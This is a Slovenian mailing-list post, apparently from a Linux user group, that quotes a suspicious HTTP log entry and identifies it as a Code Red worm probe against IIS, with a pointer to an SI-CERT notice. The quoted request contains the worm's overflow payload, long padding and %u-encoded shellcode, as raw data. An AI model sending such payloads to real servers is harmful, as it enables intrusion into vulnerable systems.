[ LUGOS ] cuden HTTP log zapis

[Nejc Skoberne]

> "GET
> /default.ime?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%
> u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
> HTTP/1.0" 400 322

Code Red worm probe, AFAIK. Sicer pa je to za LUGOS-SEC. Vec na:
<http://www.arnes.si/si-cert/obvestila/2001-04.html> . Itak pa je tole
nevarno le za IIS. 

LP,
  
-- 
Nejc Skoberne
Grajska 5
SI-5220 Tolmin
E-mail: nejko at varnost.org